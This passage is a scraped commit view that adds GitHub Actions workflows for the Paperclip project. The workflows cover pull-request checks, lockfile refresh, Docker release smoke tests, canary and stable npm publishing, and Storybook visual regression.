PAPERCLIP_PLAYWRIGHT_CHANNEL: "chrome"
run: pnpm run test:e2e
- uses: actions/upload-artifact@v7
if: always()
with:
name: playwright-report
path: |
tests/e2e/playwright-report/
tests/e2e/test-results/
retention-days: 14
+421
View File
@@ -0,0 +1,421 @@
name: PR
on:
pull_request:
branches:
- master
concurrency:
group: pr-${{ github.event.pull_request.number }}
cancel-in-progress: true
jobs:
policy:
runs-on: ubuntu-latest
timeout-minutes: 5
outputs:
lockfile_regenerated: ${{ steps.regen_lockfile.outputs.regenerated }}
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Block manual lockfile edits
if: >-
github.head_ref != 'chore/refresh-lockfile' &&
github.event.pull_request.user.login != 'dependabot[bot]'
run: |
# Diff the PR branch against its merge base so recent base-branch commits
# do not masquerade as changes made by the PR itself.
changed="$(git diff --name-only "${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}")"
if printf '%s\n' "$changed" | grep -qx 'pnpm-lock.yaml'; then
echo "Do not commit pnpm-lock.yaml in pull requests. CI owns lockfile updates."
exit 1
fi
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
- name: Validate Dockerfile deps stage
run: node ./scripts/check-docker-deps-stage.mjs
- name: Reject git push in adapter/runtime code
run: node ./scripts/check-no-git-push.mjs
- name: Test no-git-push check
run: node --test ./scripts/check-no-git-push.test.mjs
- name: Test general-server shard partition
run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs
- name: Test standalone package build concurrency
run: node --test ./scripts/__tests__/build-standalone-concurrency.test.mjs
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Verify release package bootstrap for changed manifests
run: |
mapfile -t changed_paths < <(git diff --name-only "${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}")
PAPERCLIP_RELEASE_BOOTSTRAP_BASE_SHA="${{ github.event.pull_request.base.sha }}" \
node ./scripts/check-release-package-bootstrap.mjs "${changed_paths[@]}"
- name: Validate dependency resolution when manifests change
id: regen_lockfile
run: |
changed="$(git diff --name-only "${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}")"
manifest_pattern='(^|/)package\.json$|^pnpm-workspace\.yaml$|^\.npmrc$|^pnpmfile\.(cjs|js|mjs)$'
if printf '%s\n' "$changed" | grep -Eq "$manifest_pattern"; then
pnpm install --lockfile-only --ignore-scripts --no-frozen-lockfile
echo "regenerated=1" >> "$GITHUB_OUTPUT"
else
echo "regenerated=0" >> "$GITHUB_OUTPUT"
fi
# Manifest-only PRs (where pnpm-lock.yaml stays at base because the policy
# job above blocks committing it) need the regenerated lockfile for the
# downstream `pnpm install --frozen-lockfile` steps. Upload it here so
# every job consumes the same hash without recomputing.
- name: Upload regenerated lockfile for downstream jobs
if: steps.regen_lockfile.outputs.regenerated == '1'
uses: actions/upload-artifact@v7
with:
name: pr-lockfile
path: pnpm-lock.yaml
retention-days: 1
if-no-files-found: error
typecheck_release_registry:
name: Typecheck + Release Registry
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Typecheck workspaces whose build scripts skip TypeScript
run: pnpm run typecheck:build-gaps
- name: Verify release registry test coverage
run: pnpm run test:release-registry
general_tests:
name: General tests (${{ matrix.group_label }})
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
strategy:
fail-fast: false
matrix:
include:
# The server suite is pinned to maxWorkers=1 (server/vitest.config.ts),
# so it can only be parallelized across runners. Shard it to keep this
# lane off the PR critical path.
- group: general-server
group_label: server (1/3)
shard_index: 0
shard_count: 3
- group: general-server
group_label: server (2/3)
shard_index: 1
shard_count: 3
- group: general-server
group_label: server (3/3)
shard_index: 2
shard_count: 3
- group: general-workspaces-a
group_label: workspaces-a
- group: general-workspaces-b
group_label: workspaces-b
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Run grouped general test suites
run: |
if [ -n "${{ matrix.shard_count }}" ]; then
pnpm test:run:general -- --group '${{ matrix.group }}' \
--shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }}
else
pnpm test:run:general -- --group '${{ matrix.group }}'
fi
verify:
# Preserve the legacy required-check name while the underlying work runs in parallel.
name: verify
if: ${{ always() }}
needs: [typecheck_release_registry, general_tests, build]
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- name: Fail if any split verify lane failed
env:
TYPECHECK_RELEASE_REGISTRY_RESULT: ${{ needs.typecheck_release_registry.result }}
GENERAL_TESTS_RESULT: ${{ needs.general_tests.result }}
BUILD_RESULT: ${{ needs.build.result }}
run: |
test "$TYPECHECK_RELEASE_REGISTRY_RESULT" = "success"
test "$GENERAL_TESTS_RESULT" = "success"
test "$BUILD_RESULT" = "success"
build:
name: Build
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Build
run: pnpm build
verify_serialized_server:
name: Verify serialized server suites (${{ matrix.shard_label }})
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
strategy:
fail-fast: false
matrix:
include:
- shard_index: 0
shard_count: 4
shard_label: 1/4
- shard_index: 1
shard_count: 4
shard_label: 2/4
- shard_index: 2
shard_count: 4
shard_label: 3/4
- shard_index: 3
shard_count: 4
shard_label: 4/4
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Run serialized server test shard
run: pnpm test:run:serialized -- --shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }}
canary_dry_run:
name: Canary Dry Run
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
# `release.sh` always executes its Step 2/7 workspace build, even when
# `--skip-verify` bypasses the initial verification gate. release.sh
# also requires a clean working tree, so any in-place lockfile churn
# from `pnpm install --frozen-lockfile` must be reverted first — unless
# the policy job uploaded a regenerated lockfile (manifest-changing
# PRs), in which case we stage the artifact-restored copy into an
# ephemeral local commit so release.sh sees a clean tree and its
# workspace build sees a lockfile that matches the manifest.
- name: Release canary dry run via release.sh internal build
env:
USED_ARTIFACT_LOCKFILE: ${{ needs.policy.outputs.lockfile_regenerated || '0' }}
run: |
git checkout -B master HEAD
if [ "$USED_ARTIFACT_LOCKFILE" = "1" ]; then
git add pnpm-lock.yaml
if ! git diff --cached --quiet; then
git -c user.email=ci@paperclip.local -c user.name=CI \
commit --no-verify -m "ci(canary): stage regenerated lockfile"
fi
else
git checkout -- pnpm-lock.yaml
fi
./scripts/release.sh canary --skip-verify --dry-run
e2e:
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Verify runner Chrome
# GitHub's Ubuntu runner image already ships Google Chrome, so use that
# directly for the headless e2e lane instead of downloading Playwright
# browser bundles inside the 30 minute job budget.
run: google-chrome --version
- name: Generate Paperclip config
run: |
mkdir -p ~/.paperclip/instances/default
cat > ~/.paperclip/instances/default/config.json << 'CONF'
{
"$meta": { "version": 1, "updatedAt": "2026-01-01T00:00:00.000Z", "source": "onboard" },
"database": { "mode": "embedded-postgres" },
"logging": { "mode": "file" },
"server": { "deploymentMode": "local_trusted", "host": "127.0.0.1", "port": 3100 },
"auth": { "baseUrlMode": "auto" },
"storage": { "provider": "local_disk" },
"secrets": { "provider": "local_encrypted", "strictMode": false }
}
CONF
- name: Run e2e tests
env:
PAPERCLIP_E2E_SKIP_LLM: "true"
PAPERCLIP_PLAYWRIGHT_CHANNEL: "chrome"
run: pnpm run test:e2e
- name: Upload Playwright report
uses: actions/upload-artifact@v7
if: always()
with:
name: playwright-report
path: |
tests/e2e/playwright-report/
tests/e2e/test-results/
retention-days: 14
+96
View File
@@ -0,0 +1,96 @@
name: Refresh Lockfile
on:
push:
branches:
- master
workflow_dispatch:
concurrency:
group: refresh-lockfile-master
cancel-in-progress: false
jobs:
refresh:
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: write
pull-requests: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 20
cache: pnpm
- name: Refresh pnpm lockfile
run: pnpm install --lockfile-only --ignore-scripts --no-frozen-lockfile
- name: Fail on unexpected file changes
run: |
changed="$(git status --porcelain)"
if [ -z "$changed" ]; then
echo "Lockfile is already up to date."
exit 0
fi
if printf '%s\n' "$changed" | grep -Fvq ' pnpm-lock.yaml'; then
echo "Unexpected files changed during lockfile refresh:"
echo "$changed"
exit 1
fi
- name: Create or update pull request
id: upsert-pr
env:
GH_TOKEN: ${{ github.token }}
REPO_OWNER: ${{ github.repository_owner }}
run: |
if git diff --quiet -- pnpm-lock.yaml; then
echo "Lockfile unchanged, nothing to do."
echo "pr_url=" >> "$GITHUB_OUTPUT"
exit 0
fi
BRANCH="chore/refresh-lockfile"
git config user.name "lockfile-bot"
git config user.email "lockfile-bot@users.noreply.github.com"
git checkout -B "$BRANCH"
git add pnpm-lock.yaml
git commit -m "chore(lockfile): refresh pnpm-lock.yaml"
git push --force origin "$BRANCH"
# Only reuse an open PR from this repository owner, not a fork with the same branch name.
pr_url="$(
gh pr list --state open --head "$BRANCH" --json url,headRepositoryOwner \
--jq ".[] | select(.headRepositoryOwner.login == \"$REPO_OWNER\") | .url" |
head -n 1
)"
if [ -z "$pr_url" ]; then
pr_url="$(gh pr create \
--head "$BRANCH" \
--title "chore(lockfile): refresh pnpm-lock.yaml" \
--body "Auto-generated lockfile refresh after dependencies changed on master. This PR only updates pnpm-lock.yaml.")"
echo "Created new PR: $pr_url"
else
echo "PR already exists: $pr_url"
fi
echo "pr_url=$pr_url" >> "$GITHUB_OUTPUT"
- name: Enable auto-merge for lockfile PR
if: steps.upsert-pr.outputs.pr_url != ''
env:
GH_TOKEN: ${{ github.token }}
run: |
gh pr merge --auto --squash --delete-branch "${{ steps.upsert-pr.outputs.pr_url }}"
+121
View File
@@ -0,0 +1,121 @@
name: Release Smoke
on:
workflow_dispatch:
inputs:
paperclip_version:
description: Published Paperclip dist-tag to test
required: true
default: canary
type: choice
options:
- canary
- latest
host_port:
description: Host port for the Docker smoke container
required: false
default: "3232"
type: string
artifact_name:
description: Artifact name for uploaded diagnostics
required: false
default: release-smoke
type: string
workflow_call:
inputs:
paperclip_version:
required: true
type: string
host_port:
required: false
default: "3232"
type: string
artifact_name:
required: false
default: release-smoke
type: string
jobs:
smoke:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Verify runner Chrome
# Release smoke also runs headless on GitHub's Ubuntu image, so use the
# runner's preinstalled Chrome instead of a Playwright browser download.
run: google-chrome --version
- name: Launch Docker smoke harness
run: |
metadata_file="$RUNNER_TEMP/release-smoke.env"
HOST_PORT="${{ inputs.host_port }}" \
DATA_DIR="$RUNNER_TEMP/release-smoke-data" \
PAPERCLIPAI_VERSION="${{ inputs.paperclip_version }}" \
SMOKE_DETACH=true \
SMOKE_METADATA_FILE="$metadata_file" \
./scripts/docker-onboard-smoke.sh
set -a
source "$metadata_file"
set +a
{
echo "SMOKE_BASE_URL=$SMOKE_BASE_URL"
echo "SMOKE_ADMIN_EMAIL=$SMOKE_ADMIN_EMAIL"
echo "SMOKE_ADMIN_PASSWORD=$SMOKE_ADMIN_PASSWORD"
echo "SMOKE_CONTAINER_NAME=$SMOKE_CONTAINER_NAME"
echo "SMOKE_DATA_DIR=$SMOKE_DATA_DIR"
echo "SMOKE_IMAGE_NAME=$SMOKE_IMAGE_NAME"
echo "SMOKE_PAPERCLIPAI_VERSION=$SMOKE_PAPERCLIPAI_VERSION"
echo "SMOKE_METADATA_FILE=$metadata_file"
} >> "$GITHUB_ENV"
- name: Run release smoke Playwright suite
env:
PAPERCLIP_RELEASE_SMOKE_BASE_URL: ${{ env.SMOKE_BASE_URL }}
PAPERCLIP_RELEASE_SMOKE_EMAIL: ${{ env.SMOKE_ADMIN_EMAIL }}
PAPERCLIP_RELEASE_SMOKE_PASSWORD: ${{ env.SMOKE_ADMIN_PASSWORD }}
PAPERCLIP_PLAYWRIGHT_CHANNEL: "chrome"
run: pnpm run test:release-smoke
- name: Capture Docker logs
if: always()
run: |
if [[ -n "${SMOKE_CONTAINER_NAME:-}" ]]; then
docker logs "$SMOKE_CONTAINER_NAME" >"$RUNNER_TEMP/docker-onboard-smoke.log" 2>&1 || true
fi
- name: Upload diagnostics
if: always()
uses: actions/upload-artifact@v7
with:
name: ${{ inputs.artifact_name }}
path: |
${{ runner.temp }}/docker-onboard-smoke.log
${{ env.SMOKE_METADATA_FILE }}
tests/release-smoke/playwright-report/
tests/release-smoke/test-results/
retention-days: 14
- name: Stop Docker smoke container
if: always()
run: |
if [[ -n "${SMOKE_CONTAINER_NAME:-}" ]]; then
docker rm -f "$SMOKE_CONTAINER_NAME" >/dev/null 2>&1 || true
fi
+273
View File
@@ -0,0 +1,273 @@
name: Release
on:
push:
branches:
- master
workflow_dispatch:
inputs:
source_ref:
description: Commit SHA, branch, or tag to publish as stable
required: true
type: string
default: master
stable_date:
description: Enter a UTC date in YYYY-MM-DD format, for example 2026-03-18. Do not enter a version string. The workflow will resolve that date to a stable version such as 2026.318.0, then 2026.318.1 for the next same-day stable.
required: false
type: string
dry_run:
description: Preview the stable release without publishing
required: true
type: boolean
default: false
concurrency:
group: release-${{ github.event_name }}-${{ github.ref }}
cancel-in-progress: false
jobs:
verify_canary:
if: github.event_name == 'push'
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Typecheck
run: pnpm -r typecheck
- name: Run tests
run: pnpm test:run
- name: Build
run: pnpm build
publish_canary:
if: github.event_name == 'push'
needs: verify_canary
runs-on: ubuntu-latest
timeout-minutes: 45
environment: npm-canary
permissions:
contents: write
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Restore tracked install-time changes
run: git checkout -- pnpm-lock.yaml
- name: Configure git author
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: Publish canary
env:
GITHUB_ACTIONS: "true"
run: ./scripts/release.sh canary --skip-verify
- name: Push canary tag
run: |
tag="$(git tag --points-at HEAD | grep '^canary/v' | head -1)"
if [ -z "$tag" ]; then
echo "Error: no canary tag points at HEAD after release." >&2
exit 1
fi
git push origin "refs/tags/${tag}"
verify_stable:
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
ref: ${{ inputs.source_ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Typecheck
run: pnpm -r typecheck
- name: Run tests
run: pnpm test:run
- name: Build
run: pnpm build
preview_stable:
if: github.event_name == 'workflow_dispatch' && inputs.dry_run
needs: verify_stable
runs-on: ubuntu-latest
timeout-minutes: 45
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
ref: ${{ inputs.source_ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Dry-run stable release
env:
GITHUB_ACTIONS: "true"
run: |
args=(stable --skip-verify --dry-run)
if [ -n "${{ inputs.stable_date }}" ]; then
args+=(--date "${{ inputs.stable_date }}")
fi
./scripts/release.sh "${args[@]}"
publish_stable:
if: github.event_name == 'workflow_dispatch' && !inputs.dry_run
needs: verify_stable
runs-on: ubuntu-latest
timeout-minutes: 45
environment: npm-stable
permissions:
contents: write
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
ref: ${{ inputs.source_ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Restore tracked install-time changes
run: git checkout -- pnpm-lock.yaml
- name: Configure git author
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: Publish stable
env:
GITHUB_ACTIONS: "true"
run: |
args=(stable --skip-verify)
if [ -n "${{ inputs.stable_date }}" ]; then
args+=(--date "${{ inputs.stable_date }}")
fi
./scripts/release.sh "${args[@]}"
- name: Push stable tag
run: |
tag="$(git tag --points-at HEAD | grep '^v' | head -1)"
if [ -z "$tag" ]; then
echo "Error: no stable tag points at HEAD after release." >&2
exit 1
fi
git push origin "refs/tags/${tag}"
- name: Create GitHub Release
env:
GH_TOKEN: ${{ github.token }}
PUBLISH_REMOTE: origin
run: |
version="$(git tag --points-at HEAD | grep '^v' | head -1 | sed 's/^v//')"
if [ -z "$version" ]; then
echo "Error: no v* tag points at HEAD after stable release." >&2
exit 1
fi
./scripts/create-github-release.sh "$version"
+102
View File
@@ -0,0 +1,102 @@
name: Storybook Visual
on:
workflow_dispatch:
inputs:
update_snapshots:
description: "Generate updated snapshots and a baseline review bundle"
required: false
type: boolean
default: false
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- labeled
concurrency:
group: storybook-visual-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
visual:
name: Storybook visual regression
if: >-
github.event_name == 'workflow_dispatch' ||
(github.event_name == 'pull_request' && contains(github.event.pull_request.labels.*.name, 'storybook-visual'))
runs-on: ubuntu-latest
timeout-minutes: 35
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Install Playwright Chromium
run: npx playwright install --with-deps chromium
- name: Cache Storybook visual baseline archive
uses: actions/cache@v5
with:
path: tests/storybook-visual/.cache
key: storybook-visual-baseline-${{ runner.os }}-${{ hashFiles('tests/storybook-visual/baseline-manifest.json') }}
- name: Download Storybook visual baseline
run: pnpm storybook-visual:baseline download
- name: Verify Storybook visual baseline
run: pnpm storybook-visual:baseline verify
- name: Build Storybook
run: pnpm build-storybook
- name: Run Storybook visual tests
if: ${{ github.event.inputs.update_snapshots != 'true' }}
run: npx playwright test --config tests/storybook-visual/playwright.config.ts
- name: Generate updated snapshots for review
if: ${{ github.event.inputs.update_snapshots == 'true' }}
run: npx playwright test --config tests/storybook-visual/playwright.config.ts --update-snapshots
- name: Pack updated baseline review bundle
if: ${{ github.event.inputs.update_snapshots == 'true' }}
run: pnpm storybook-visual:baseline pack
- name: Upload Storybook visual report
uses: actions/upload-artifact@v7
if: always()
with:
name: storybook-visual-report-${{ github.run_id }}
path: |
tests/storybook-visual/playwright-report/
tests/storybook-visual/test-results/
retention-days: 30
if-no-files-found: warn
- name: Upload updated baseline review bundle
uses: actions/upload-artifact@v7
if: ${{ github.event.inputs.update_snapshots == 'true' }}
with:
name: storybook-visual-baseline-review-${{ github.run_id }}
path: tests/storybook-visual/baseline-review/snapshots.tgz
retention-days: 30
if-no-files-found: error